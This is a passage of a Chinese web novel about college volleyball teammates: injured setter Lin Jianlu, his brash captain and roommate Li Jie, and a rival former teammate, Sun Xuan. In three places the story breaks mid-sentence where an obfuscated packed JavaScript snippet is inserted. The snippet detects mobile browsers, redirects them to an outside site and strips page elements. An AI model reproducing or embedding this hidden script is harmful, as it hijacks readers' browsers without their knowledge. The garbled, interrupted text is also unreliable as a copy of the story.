厉桀鬼使神差地看了一会儿,脑海中再次浮现林见鹿曾经的辉煌。当他在场上,他可以一个人挑起4条进攻线,像手里拽着4条狗链,两个主攻手、一个副攻手和一个接应,从四面八方朝他涌来。 刚好,林见鹿传了一个击球点非常高的弧线出去。 传完之后,林见鹿双脚落地,擦着汗看了厉桀这边一眼。 这么高的球头,明显就是立给自己的。厉桀没想到林见鹿这样以权谋私,公开训练的时候给自己暗示,希望以后在场上和自己打配合。 周围几十个攻手,他只看了自己。厉桀惊叹于林见鹿对自己的好感,也惊叹于他表达好感的大胆。 10. 读懂你的暗示 纪高和孔南凡都在观察林见鹿。 两人都是国家队退下来,眼光自然精准。林见鹿的手确确实实有些问题,这是他们显而易见的共识。 排球运动员的手指是伤病高发区,纪高和孔南凡都断过。但这不代表养不好,目前国际排球赛事上赫赫有名的那些运动员全部都带伤。伤可以好,也可以适应。 陈阳羽目前不需要他们太担心,从刚才的配合上看,这两个人已经有1加1大于2的组合趋势。 唯一让他们担忧的一个是林见鹿的伤到底什么程度,一个是他的体力。 “哈,哈,哈……”半小时持续不断的训练之后,林见鹿两手扶住膝盖,在网前无能为力地弯着腰。 陈阳羽见他已经练不下去了,也不多话,抱着球转身就走,并没有上前安慰。林见鹿虽然没有当众说过他什么,但是表达过“自由人其实可以优化”这种言论。 一句话横扫一片,所有自由人都知道他的豪言。 林见鹿一个人杵在原地,体力的飞速消失让他害怕。他以前不是这样,真的不是这样,男排是车轮战,打到最后不是技术顶上去,而是体能顶上去。现在他才练习半小时,怎么就…… 还是以前练习太少了! 林见鹿不是一个自怨自艾的人,他只是短暂痛苦了一下,立即找到症结所在。他看过很多国家队的球员养伤,骨折之后都是以练养伤,他高一那年足足休息了9个月,不管怎么说他的腿都已经痊愈。 就好比他不明白大腿根的伤为什么不愈合,林见鹿摸不透他已经长好的膝盖为什么还疼,以及右腿为什么常常无力。 “小鹿,过来。”纪高从副攻场走过来。 林见鹿喘了两口,缓缓过去。两人走过端线,到休息区去,纪高酝酿了情绪,说:“下午的训练你先停一停,去校医楼,找专门负责你们的队医方松看看。” “我其实……已经好了。”林见鹿没那么足的底气。看着纪高那红肿的鼻子,他也不好意思再顶嘴。 “让方队医给你整一个全套的治疗方案,这样你才能早日上场。”纪高顿了顿,想起什么来,“下周一咱们有一场校级联赛,纯粹是友好交流,其中应该有你认识的人。” 汇宸中学的那些队友也进了各大高校,林见鹿迟早要直面他们,只是没想到刚开学一周就得面对。 “我想上。”林见鹿马上申请。 “如果你不让方队医评估你的状况,不把完整的病历交给我,我不会冒险让你上场。我相信你已经看出自己将来会是这支队伍的主力首发二传,但这不代表现在没人能替代。冰言突破心理关之后也能传,打比赛的时候,我们也可以从大二、大三去借。”纪高将他看透,不逼到一定程度,林见鹿就像林间鹿,溜了。 “虽然你可能很强,但目前不是无可替代。小鹿,吃一堑长一智,你要知道曾经的自己在哪里跌跟头,以后就不能再跌。”纪高又怕逼狠了,又缓和两句。 林见鹿不知听没听懂,反正点头了。 接下来他没有再做传球方面的练习,而是一个人练习发球。他现在发球特别好,原因说出来可能好笑,是因为他坐冷板凳这些年,和他配合练习的人太少了。他只能去练发球。 打排球不练团队就是白费,人不可能孤军奋战。这成为了林见鹿的恶性循环,没人配合他,他上场打得就差,然后教练扒掉他的首发,下场后更没人配合。等下次再上场,情况就更差。 现在纪高已经给他下了最后通牒,林见鹿只好中止排球场的流程,准备转战去健身楼。首体的配套设备非常优越,光是健身器材就有一整栋,林见鹿刚要走,又停下,看着脚边那个全新的米卡萨,很舍不得。 他想拿个排球回宿舍玩。 抱着睡觉也行。 林见鹿趁人不注意,偷偷蹲下摸了个新球。 不对不对,这个是v300,林见鹿偷偷放下,又摸了个v200,嗯,对了对了。 背着一个鼓鼓囊囊的包,林见鹿先去更衣室换衣服。现在他还没有选队服号码,但1肯定是厉桀。纪高怎么会看走眼,选那个时不时发疯的家伙当队长? 在更衣室脱衣服的时候,他又看到了大二、大三的攻手们。 那种卓越的体能和健硕的身材,都是目前林见鹿的可望不可即。这更加确定了他的决心,这半年的任务除了和队员打配合,还要增肌,最起码要增重10斤。胸肌和背肌是主要训练目标。 当然,独身一人离开训练馆之后,林见鹿也没有去找方松队医。他怕方松会背刺他,当面说一套,背面和纪高建议推迟上场。这些事情林见鹿都经历过,不想轻易相信任何人! 他还是个路痴,在学校走了好几圈,问了学长,才成功走到了名人墙这边。 这边是个街心小花园,绿化很好,环状的绿色植物铺满四周。学校还在这里特意种了比较名贵的花朵,林见鹿打开手机“自动识花”功能,种的是芍药、郁金香和薰衣草。 林见鹿很喜欢浪漫,于是找了个地方坐下,拿出了一包全新的果冻爽。他感觉坐在这里很舒服,心里很安静,仿佛这地方和他有缘分。一想到名人墙上那些顶级运动员的沉沉浮浮,林见鹿又会生出无限勇气。 他的训练条件和生活条件已经超越前人太多,不能孤影自怜。林见鹿又看向中间,不确定学校将来会打造一尊什么样的雕像。 嗡嗡嗡,静音手机震动了。 果冻爽掉在地上,本着“三秒之内捡上来就等于没掉”的原则,他快速捡起。来电人是妈妈。 “妈妈。”林见鹿快乐地拿下接通。 “噜噜,你在干嘛呢?”张巧梦问。 “在学校休息,首体大有一个很漂亮的花园。”林见鹿不好意思说自己对这座学校的第一印象正在慢慢改变,“下次你和爸爸来,我带你们参观。” “好啊,等你爸出差回来。”张巧梦的语气很高兴,但如果是打视频通话,就能看出她眼中一直不散忧愁,“同学和教练都还好吗?” 林见鹿嘬了一口果冻:“都很好。下练之后我们一起在食堂吃饭,一起和篮联部的人打篮球。他们还有一个嘟嘟车,就是小电驴,说载我去附近转转。队医叫方松,他说我可以上场,还有……室友和我关系也很好。” “这样啊……那妈妈就放心多了。”其实张巧梦一开始没有相信,但随着小鹿把日常补得越来越全,这听上去不像谎言。 “对了,你和厉桀是不是一个队?”这是张巧梦最坚实的一条后路,“小时候你们还在一起玩,有印象吧?” 林见鹿揉着尾指,不情不愿地承认:“有。” “你跟他在一起训练,妈妈真的没什么不放心的了,那孩子热情又懂礼,要不是你爸一直反对,你俩从小学就可以在一起上。”张巧梦说。 还好没有一起上!林见鹿心里默念。 “今天给妈妈看看你们的训练照吧,我也好久没见厉桀了,不知道那孩子现在什么样。”张巧梦一想起闺蜜的儿子也在,心里多了一份安心。 但她直接抛给儿子一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171837|180714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难题。林见鹿瞪大眼睛,领到了“不可能完成”任务。他既没有和同学一起训练,也不可能和厉桀和谐相处。 “好,我晚上发给你,现在先练着。”但他还是同意了妈妈的要求。 毕竟,妈妈已经为自己的事担心太久。而自己和厉桀如果不是爸爸反对,确实是可以同校。林见鹿小时候不懂为什么反对,长大却懂了,因为厉桀家里太有钱。 几亿的别墅说买就买那种有钱。 两家走太近,妈妈遭受了很多风言风语。林见鹿想让妈妈开心些,便绞尽脑汁计划一切。 天空从蓝色变成火红色,火烧云褪去又变成了深蓝。9月初的天就算到了晚上10点都不会变成漆黑,总带给人一丝夏天还没走的希望。厉桀回到419宿舍时已经饥肠辘辘,一进屋就开始拆泡面。 像他这样的体格,晚上吃3顿宵夜都不用担心超标,肌肉需要热量。这时候项冰言还没回来,厉桀想也不用想,大概又是被云子安带跑了。 吃第一口时,孔南凡副教练发来了下周的比赛流程,联赛中其中一场是“汪汪突击VS领航者”。 “汪汪突击队”就是厉桀他们队,校联赛没人好好起名字,什么都有。领航者队也是同期大一,厉桀作为队长必须好好看看他们的人,于是便往下阅读…… 一瞧,看到了孙轩。 4号位,高球攻手,和自己定位差不多。 高一时候和林见鹿同为首发队员,林见鹿挺喜欢给他传球,传球成功率也很高,比赛结束后多次勾肩搭背。 厉桀对林见鹿的一切并不感兴趣,也不是特意去记林见鹿曾经的队友,但是孙轩确实是他曾经最好的6个队友之一。这么说,下周林见鹿就要和曾经的“老相好”打擂台? 但厉桀马上打消这个念头。不可能,林见鹿那个体能没法打。 以前他们配合无间,现在是网的对立面,心情会怎么样?厉桀回忆了一下孙轩的长相,顺便把泡面吃光了。 一般般吧,长相没什么记忆点。 吃完两桶面,厉桀顺便将宿舍垃圾拎出去丢掉,还擦了一遍地板。时间还早但他想洗澡,也没锁门就开始脱衣服。所以等林见鹿从健身房回来,一开门,就看到厉桀那炫技一般的背阔肌。 感觉硬度应该和花岗岩差不多。 听到脚步声,厉桀回头瞄了一眼,但也没在意。只是动作有所停滞,两只手放在侧腰上,不经意间做了个背阔肌展翅的小动作。 倒三角背肌瞬间更倒。 林见鹿将包放在桌上,犹豫不决,不知道怎样完成妈妈的任务。 厉桀的余光扫到他包上的拉锁,看到里面一个米卡萨。 他买的。学校没有钱给每个年级用这个球,最多是v300,他自掏腰包给队伍换顶配,不愿意兄弟们将就。林见鹿一定是察觉到了自己的优点,所以拿回来暗示,他不仅看到了自己的财力,也认可自己的领队地位。 作为雄性生物,被认可的感觉让厉桀十分舒适。 那么作为汪汪突击队的领头汪,他也有义务表示林见鹿目前的安全,以及自己有强大的整合能力带他入队。 该怎么和厉桀开口呢?林见鹿还在犹豫。只听脚步声逐渐靠近,直接停在面前,林见鹿顺着钢板一样的8块腹肌往上看,厉桀正微微低头看着他。 “林见鹿,我想你值得知道一件事。”厉桀说。 林见鹿疑惑到皱不起眉。 “我比孙轩高两厘米,你肯定早发现了吧。”厉桀威武地通知他。 11. 我不是gay 说完,厉桀像是为了证明他此言非虚,特意站直了。 仿佛虚空中有身高测量仪,滴滴滴地冒着“206”的声音。 林见鹿尽管已经做好了“他脑子不正常”的准备,但仍旧没法招架,最后平静地说:“哦。” “只是一个‘哦’么?你不该说点别的?”厉桀提醒他。但一想到林见鹿不善表达,算了,一个字也可以。 “……那就,谢谢?”林见鹿在“好好回答”和“扇一巴掌”中选择了前者。 “嗯,不客气。”厉桀得到了满意的答复,林见鹿受伤又转队,最后被自己的队伍收留,一旦碰上旧队员必定会惊慌失措,寻求自己保护。刚好,他厉桀不小气。 只是他真想不到,林见鹿居然会偷偷拿他买的排球。看来这是一个更善于用行动表示的人。 厉桀继续脱衣服,两只手刚搭在白色的裤带上,背后忽然被人捅了一下。 “厉桀。”林见鹿是用手机捅的,不想碰他的肌肉,“能不能……拍张照?” 厉桀回过身,刚才的想法再次得到验证,林见鹿对他永远那么直白:“拍我?我用穿衣服么?” “也不用穿,这样挺好。”林见鹿只想走流程。 “我不穿衣服,然后你拍?”厉桀第一次听到这种震撼的要求。 林见鹿摇头:“不是,是你和我一起拍。” 说完之后,他发现厉桀的两只眼睛瞪大了,浓重的眼睫毛像承载着不能接受的东西,嚣张扇动着。他一只手伸向林见鹿,攥住林见鹿的T恤领口,像揉一张纸巾那么简单。 “林见鹿,我他妈不是同性恋!” 林见鹿再次出现那种狗屁不通的神情:“什么?” “你要拍咱俩不穿衣服的照片?”厉桀怒目而视。 林见鹿的巴掌蠢蠢欲动。 “想得美!”厉桀拒绝了。 “我的意思是,咱俩就这样拍一张,你穿不穿随意。拍完之后我给爸妈发过去。”林见鹿向下兼容着厉桀的智商。 “……哦,这样啊,你早说。”厉桀松开手,目光扫过林见鹿的领口,看一片白皙,有些失落,“拍吧。” 林见鹿赶紧站到厉桀旁边,手机高举。屏幕里出现了两个人,一个赤膊,一个领口歪,林见鹿连忙整了整领子:“笑得自然一些。” “你爸妈为什么要我照片?”厉桀忽然问。 两人太近了,林见鹿像站在一台立式空调的体外机旁边,被厉桀烤得出汗。为了赶紧完成任务,他有些敷衍:“因为他们记得你。” 厉桀点了点头,确实是,记得他是应该的。两家关系一直很好,林见鹿又睡过自己的床。对于自己的人品,他爸妈肯定放心,所以才会要求看自己的照片。很正常。 拍完之后林见鹿难得和厉桀道谢,把合影发到三人家族群。张巧梦和林宇看过非常高兴。 爸妈高兴,林见鹿也很高兴。 他等厉桀洗过澡之后才去洗,要想维护伤口的干燥,很难,花费了一些功夫。等他吹完头发,项冰言已经回屋,正在滴眼药水。 “还那么疼啊?”林见鹿听到厉桀问。 项冰言点了点头,一只手捂着右眼睛。 林见鹿没说话,先看了一会儿文化课的书就上床了。他偷偷把排球带了上去,用湿纸巾细心消毒,平躺着玩起最简单的抛球小游戏。玩累了,林见鹿抱着排球侧躺,用手指感受球面的凹凸。 林见鹿忽然又想起孙轩。 他和孙轩是高一认识的队友,那时候孙轩打副攻,在场上肩扛边攻战术,从2号位和4号位攻击。打着打着他就转成主攻手,非常凶猛。 有非常亲密的半年,后来就形同陌路,至今他也想不明白自己哪里惹了孙轩……林见鹿放下排球,悄悄掀开床帘。项冰言还没有去洗澡,而是在门口和云子安聊天。云子安的头发散下来,长度过肩。 林见鹿又放下床帘,拿出手机,默默搜索起“异瞳”。 可是还没搜索几分钟,手机一震,他被人拉群了。 厉桀拿着手机,上面是[你邀请‘林见鹿’加入群聊]和[‘林见鹿’与群里其他人都不是朋友关系,请注意隐私安全]。 厉桀是队长,以身作则,在林见鹿入群后发了第一条:[欢迎新人。] 刚刚还很热闹的群,安静得像睡死了一样。 厉桀想了又想,去其他网站搜索了一个瑞幸的logo,发到了群里,并配字:[欢迎luckin] 林见鹿第一时间把群拉了静音。从来不求人的他真想求求厉桀,你读点书吧。 群里一共13个人,除了10个队员还有纪高、孔南凡和宋达。林见鹿先看了看群名——汪汪突击队。 他痛苦地闭了一下眼睛。 再睁开,开始看那群人的名称,包括但不限于“不想打二传的自由人不是好接应”、“边攻就是要下球啊我靠”、“oi!难道我不是天才副攻手”、“有没有大佬教我打后3”、“自由人的自由过了火”、“他转身就吊球了像下定了某种决心”…… 林见鹿再次痛苦地闭上了眼睛,毁灭吧。 厉桀也没指望林见鹿说话,他那副德性不开口才是常态。等熄灯之后,项冰言最后一个爬上床,厉桀也拿出了他的限量版眼罩,准备睡下了。 林见鹿的床帘里倒是早熄了灯,应该是已经睡下。一想到他会抱着自己的球入睡,厉桀的内心十分挣扎,他既不想这么快和林见鹿拉近关系,又不想破坏他爸妈心中自己的完美形象,而且他真的不是同性恋。 这样一想,厉桀少见得失眠了。 他认为失眠的主要过错方是林见鹿,于是厉桀打开了他的朋友圈,用视奸他生活的方式惩罚他。奇怪的是,林见鹿的头像是一只毛毡小鹿,那种胖乎乎的鹿,和他本人性格不匹配。 然后厉桀发现,他特别喜欢发朋友圈。 生活里恨不得用不存在的鹿角顶死别人,结果那么喜欢玩网络。厉桀是一个不玩网络平台的人,他的朋友圈也是排球相关,打了哪些比赛、赢了什么冠军、收藏级别的球到手……等等。 英雄所见略同,林见鹿一定也会沉迷于自己的审美。于是厉桀精心挑选了两个月前的照片,那是他得到了一枚波兰名将签名的排球。 他把那天发的朋友圈置顶,林见鹿看到了一定会很馋,自己顺理成章给他一个台阶,可以领他回家一起欣赏。 然后厉桀继续翻林见鹿的朋友圈,刚翻到两个月前就睡着了。 但是厉桀醒得非常早,他有生物钟,会赶在起床铃声的前一刻睁眼。睁眼了他也不动,专门等那个铃响的时刻到来。今天这一刻钟非常漫长,因为厉桀又在翻林见鹿的朋友圈。 他看到高考之前,林见鹿和父母的一张合影。 记忆里的张巧梦阿姨和林宇叔叔都变老了。两个人算得上高挑,一个187,一个175,年轻时候郎才女貌,非常般配。 可能是林见鹿的事情让他们担心了很久,他们比自己的父母苍老许多。当然,不排除自己爸妈偷偷做过医美的事实,他俩都打过热玛吉。 但不管怎么说,记忆里的叔叔阿姨苍老忧愁,这都是厉桀不愿意看到的。特别是他们还心心念念自己,交付了儿子的重托,他们是真的惦记自己,全心全意信任自己,才会让林见鹿在“举目无亲”的状况下投奔而来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171838|180714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他们心里,自己就是他们的半个儿子。 厉桀放下手机,内心翻涌起对母爱、父爱的全新认知。 叮铃铃,叮铃铃,新的一天又开始了。 林见鹿喜欢睡懒觉,被吵醒原本不太高兴,但是一瞧见床头的排球,再不高兴也愿意起床。他点开手机,页面还停留在昨晚他搜索的“异瞳”关键词,没时间看完,赶紧截图,留着慢慢看。 哗啦一声,他的床帘被拉开了。 林见鹿睡觉时习惯穿宽松的大T恤,但还是用毛巾被遮了一下内裤。“你干什么?” 厉桀太高了,明明是站在平地上,可对于上铺的高度,他像随时随地能迈上来。“你昨天的事情,是不是没办完?” 刚跳下床的项冰言迷迷瞪瞪地看了他们一眼,冲进了洗手间。 林见鹿迟疑:“你说什么?” 这是在装傻。但厉桀觉得这样的装傻也不是什么坏事,毕竟没办完的事情让林见鹿亲口说出,确实有些难以开口。但自己不介意替他说。 于是厉桀替林见鹿说:“你忘了把你爸妈的微信推送给我。” 林见鹿往后靠了靠,厉桀疯了吧? “一会儿记得给我,这件事我就不追究了。”厉桀很贴心地留出了私人空间,如果当面推送,林见鹿又该不好意思了。 哨声一直在吹,激励着楼里的运动员燃烧青春,挥洒汗水。林见鹿坐电梯下楼,动作有些慢了,赶到队里的时候他深刻怀疑厉桀是把智商挥洒出去了。 男排队整装待发,林见鹿习惯性去站队尾,忽然队首的厉桀跑了过来,把他从最后推到了队中。“按照身高排队,别破坏队形!” 他前面只有4个人,厉桀、皮俊、任良和云子安,后面就是柳山文。林见鹿好久不站队中,前后都有人的感觉让他无所适从。 “我想站后面去。”林见鹿对厉桀说。 “站什么后面?你不看看自己多高?归队!”厉桀偏要让他归队。 好吧,归队就归队。林见鹿只好站住脚,开跑之前,他觉得自己应该说点什么,于是回过头对他师兄说:“早上好。” 柳山文新打了两排耳钉,耳骨还有些冒血,他也没想到林见鹿这种人会主动和别人打招呼。愣神的功夫,林见鹿转过去了。 站在他们外侧的纪高吹起白银哨子,看到林见鹿站在队中,心里有种说不出来的感觉。像林见鹿这么拧巴又不好接触的孩子,还真需要一个厉桀这样强盗性质的队长。 在接触中,但凡有一丁点的退缩,林见鹿就会缩回他的“蜗牛壳”。 早练内容不能太过激烈,今天是中长跑和折返跑。林见鹿喜欢跑步,不喜欢蛙跳,蛙跳会牵扯他的伤口。等训练结束后他们有一个“清理时间”,可以选择直接吃早饭或者先回去洗漱。 基本上所有运动员都会选择直接冲个澡。但时间有限,大部分人都是一起洗。 项冰言就是和厉桀一起洗,林见鹿在外面等他们。到这时,他又想起厉桀那句云里雾里的话。 为什么要把自己爸妈推给他? 太奇怪了,林见鹿肯定不会这样做。等他放下手机,厉桀刚好顶着一条白毛巾出来,下半身裹着一条白浴巾。 林见鹿承认厉桀傻,但是也承认他身材很厉害。是客观意义上的厉害,健硕张扬的体魄一看就是大主攻。 “看什么呢?”察觉到林见鹿的目光,厉桀走了过来。 林见鹿怕他声势浩大地过来,慌忙中说:“在想孙轩的打法。” 话音一落,厉桀立马声势浩大地过来了。怎么回事?林见鹿是不是还没看自己朋友圈置顶?要提示一下么? 12. 他肯为自己花心思就好 又是被影子压住,林见鹿下意识想双手推他。 “你想他干什么?”厉桀又站在面前。 “……咱们不是要打比赛吗?我和他当了3年队友,我比你们任何一个人都了解他。”林见鹿觉得自己说得没错。 厉桀不信任地看了他一眼:“只是为了打球才想?” “不然呢?”林见鹿反问,黑白分明的眼底充满不解。 这样的脸不像会撒谎的,况且厉桀也想象不出冷漠疏离的林见鹿会和孙轩亲密无间。孙轩没有什么可值得林见鹿怀念的,况且他也不高。 “那就不要一个人在这里默默瞎想,上午是技术课,你去和教练说。”厉桀贴心地警告他,“但你可要想清楚,以后你就是我们汪汪队的二传手,你和你以前的队友没有关系。” 林见鹿听到“汪汪队”3个字就头疼,但为了让厉桀赶紧走,只好点头劝道:“好,我知道,你快去穿衣服吧。” 厉桀高兴地点了下头。 等厉桀走开,林见鹿身边的温度骤降,像一座火山长了腿,顺着地壳咚咚咚地跑远了。 但今天上午还真是技术课,仍旧是在排球场上,只不过大家面前多了白板。 纪高和孔南凡一左一右,奇怪的是,这两个教练从外表看都不太像运动员,都很文静。在瞧见林见鹿的那一瞬,主、副教练同时看向对方,两个人心里隐隐有了一点窃喜。 看来,林见鹿的融入比他们想得快。 “大家都知道今年的规则改变了吧?”纪高敲了敲白板。 下面10个队员,唯独林见鹿的队服不一样。乍一眼看过去,外人还以为这队的自由人是他。 纪高扫视着他们年轻的面孔,排球规则的少许改变,制造的轰动可是全球性的。“从前,己方球员只能在对方发球球员击球的一瞬间开始跑位,但是从今年开始,发球队员只要将排球高高抛起,离手瞬间咱们就可以开始跑位了。” 白板上,已经画好了第1轮的“反轮”站位,队内二传在排球场右下角1号位。 “离手规则的更改需要我们更高速度的跑位,争取在球砸向咱们之前,跑回各自的主战场。”纪高指向白板,右上角2号位有一个红色的圆形磁吸杯垫,上面写着“主攻手1”。 白板上有6个杯垫,主攻手1、主攻手2、副攻手、接应、二传都是红色,只有自由人是黑色。目前的轮次站位是—— 接应、副攻、主攻手1。 主攻手2、自由人、二传手。 为了保证每一轮的网前都有攻手,6人站位中,两个主攻、两个副攻、接应和二传都是对角。只不过目前的后排副攻换成了自由人。 “你们也清楚,真正的轮次站位从来没有规规矩矩,每一支队伍都在利用规则。”纪高开始调整杯垫,将反轮的站位调整成真实比赛中的形态。 接应、副攻。 ———————主攻手1。 主攻手2、自由人——二传手。 本来应该是前、后区两排,现在肉眼可见就是三排,因为每个队员的位置只和本人前、后、左、右有关系,和相隔、斜线的人没关系,也就是说,主攻手1只需要保证他在副攻手的右侧、二传手的前侧,那么他的位置就是正确的。 他不需要和接应、主攻手2、自由人,产生任何位置关系。 “对方发球一瞬间,副攻往前不接一传,主攻手1参与一传体系,继续往下,二传手立即上前,抵达网下2号位。”纪高把二传手杯垫往上移动,二传和主攻1彻底发生位置转换。 而这个转换,就是队员们需要配合的地方。谁怎么跑、谁从内圈跑、怎么才能不撞上?全部都在平时无数次的训练里。 “如果球发到后排主攻2这里,就一定要接一传,不要等自由人。前排副攻、接应如果发现这个球高了,不要碰,这就不是你们的球,留给后面的人处理。”纪高强调,“千千万万遍给我记住,二传手是这个人的位置,但一传不是位置,一传不要全等自由人。” “明白。”大家听到耳朵磨茧。 “还有一句话,已经和你们说了千千万万遍,但我还是要重申一次。自由人虽然是全队的最后高墙,但是,保证球不落地,这不是自由人的专有任务,这是你们每个人的任务。记住,球不落地,是每个人的第一要务。落地就死,宁抢毋空。” “明白。”大家异口同声。 “现在去热身,咱们练习反轮。”纪高点了下头。 队员们陆续起身,林见鹿刚准备跟上,又被纪高叫住:“小鹿,过来。” “什么事?”林见鹿预感不妙。 “你没去找方队医?”纪高明知故问。 林见鹿低着头不说话。 “不找方队医,就不能随队训练,这是我的唯一要求。”纪高就是拿这个“胡萝卜”吊着林见鹿。 “可是我已经好了,如果我没好,我高考前根本没法通过体考。”林见鹿小声反驳。 “以你的基础能力,我相信,哪怕你没好,高考体考也不是你的拦路虎。”纪高相信他的体能。能够在各队出名的孩子,绝对不是泛泛之辈。这些孩子距离国家队就差一步,就差那个“登天梯”。 林见鹿又不说话了。 纪高看着他犹豫的眼神,直接看进了他的心底:“你是不是不相信首体大这支队伍?” “我下午去找方松,可以吗?”林见鹿没有直接回答,用另外一个话题绕开。但态度已经决定了一切,他确实防备着队医。 “要不要我派厉桀陪你去?”纪高再次派出他手下猛将。 “不用,我自己去。我上午……先跟着大家做体能训练,慢慢打配合。”林见鹿的心脏一揪再一揪。 打配合曾经是他最喜欢的训练内容,现在画上了一个大大的问号。他也想赶紧恢复巅峰体力,不然配合训练中别人不累他累了,自己一定又会被抛弃。 所以一系列热身下来,林见鹿给自己制定了非常详细的“回归计划”,最近他体力不行,确实不太适合上场。 但不上场不等于不看,林见鹿开始观察队里的人打反轮,就是刚刚纪高特别要求大家注意跑位的第1轮。对面是大二男排,有几个是林见鹿能叫上名字的人,但他的目光还是停留在大一这边。 接应是宋涵旭,副攻上了云子安,项冰言暂时打二传。主攻是厉桀和皮俊,自由人是郑灵。 现在的大趋势是“隐蔽站位”,用大白话说就是每个队员在不犯规的情况下,不站在规定位置上。比方说现在,厉桀和项冰言通过大动作的上下跑动,从而制造空间的错位。这种战术经常可以落实突然间的突袭进攻。 现在项冰言把球传给了厉桀。 厉桀起跳,项冰言后撤。林见鹿盯紧了厉桀,只见他蹬地的瞬间非常轻盈,没有身高和体重压出来的沉重。真好,那双腿没白长。紧跟着是转髋部,健硕的三头肌顺着肩峰和背肌发力,背肌由腰腹提供支撑,而腰腹的支撑又来自于他的蹬地。 全身的核心传导达成高度一致,林见鹿仿佛看出了他全身的动力链! 最后,厉桀引臂,击球,犹如挥打一条强韧的巨型鞭子。 “好扣。”林见鹿脱口而出。 当厉桀的手和球面接触,大手的优势又一次体现,把球包得非常实在。手指肌肉和腕部肌肉同时合作,他的身高和弹跳将“大主攻”3个字发挥到淋漓尽致。他甚至没有从后排助跑,是3米攻击线上原地起跳! 像厉桀这样力大飞砖的选手,曾经被很多人诟病,说他们只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171839|180714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会扣球。但只有专业人士才能搞懂这力大飞砖的背后,是不可多得的天才。高、壮、快、凶、跳,基因链buff全点一遍。 林见鹿把每个人都看了一遍,忽然想起什么,又回去找纪高。 “你从校医楼回来了?”纪高反问,不会这么快。 “我想和您聊聊孙轩。”林见鹿快速走到白板前,将其他杯垫都拿下去,只留下主攻1,“孙轩和厉桀在技术上有类似的地方,两个人在网前都是超手、不避手的高点重炮。” 超手,是当两边队员在网前进行扣杀和阻挡时的高低差,进攻方击球超过防守方拦网队员的手,字面意义就是“超过了手指”。当高度超越太多,进攻方就不会采取避开防守方的手指的进攻方式,而是简单直接,扣死! 特别是这个攻击方还是重炮主攻手时,他打出的球就算被防守方的手指碰到了,也改变不了命运。要么碰下钉地板,要么碰一下,出界。 “等一下。”纪高马上让二传停下,“厉桀!过来!” 厉桀刚放下球,唉,林见鹿真是离开自己一会儿就不行。 行,我过来。厉桀快速跑了过去:“好好好,我来了。” “好好听着。”纪高指了下林见鹿。 林见鹿马上问:“你摸高多少?有3米6吗?” 厉桀皱了下眉,对他这种问法颇为不满,但又说不上哪里不满。仿佛林见鹿在拿自己和别人比,而且这个人就是3米6。 “上次队测,我3米68。”厉桀看了一眼纪高,“老纪,你作证。” 纪高也点了下头。 “那就好,我记得孙轩最后一次摸高测试是3米6,咱们有8厘米的优势。”林见鹿拿起马克笔,在白板上写写画画,这一刻他仿佛才是教练。 “孙轩的优势点也在4号位,进攻线路大多都是直线或者大斜线。”林见鹿低头画线路图,修长的后颈顺势延伸入领口,两片单薄的肩胛骨将高中队服顶出两块凸起。 在4号位往对面扣,落在三米进攻线之内,叫作小斜线。往对方5号位那个方向打,叫作大斜线。直着打就叫做直线。 “他的小斜很弱,也和厉桀差不多。”林见鹿在三米进攻线的位置打了个问号,“我想想咱们怎么防他……” 厉桀听得怒发冲冠,什么叫“和厉桀差不多”?我的小斜完美死了!一会儿就给你打一个!完美到让你挪不开眼! 原本是很愤怒的,但厉桀低头一瞧,林见鹿又穿了带花纹的袜子。他微微偏头看向自己这边,俊秀的侧脸虽然不像同龄人那么活泼,可柔细的眼睫毛每一根都生机勃勃,凌乱着,薄薄压住了细长的、仿佛纤细毛笔勾勒出的眼梢。 好吧,他都花心思了,暂时不和他计较。厉桀又想开了,认真地听下去。 而另外一边,孙轩坐在本校排球场内,通过教学投影捕捉着厉桀的一举一动。 他们参加过太多比赛,要找比赛记录易如反掌。孙轩刚刚看完了皮俊和任泉,现在研究那支狗队的第3位主攻。 “孙哥,过来!扣个球!” 有兄弟叫他,孙轩飒力地抬了个手,起身,走向三米进攻线。二传给他传了个到位球,孙轩原地起跳,连助跑都没有,蹦出了全队最高的扣杀高度! 巨大击球声后,白色的排球穿过对面两位防守方的4只手,打出了一记完美的小斜线。 “漂亮!孙哥的小斜越打越神!原本还担心你前队友把你的进攻弱点说了呢!” “你们放心,林见鹿为了赶紧上场肯定会投诚,给首体大投名状。不过他和我太久没打过,肯定以为我小斜没练出来。”孙轩漫不经心地攥了攥拳,打林见鹿的队伍,他可太期待了。 林见鹿……孙轩琢磨着这个名字,意味深长地笑了笑。 13.补助金 “孙哥,你说说林见鹿到底怎么回事?我上小学开始打球的时候就见过他,你们汇宸怎么没用他首发?” 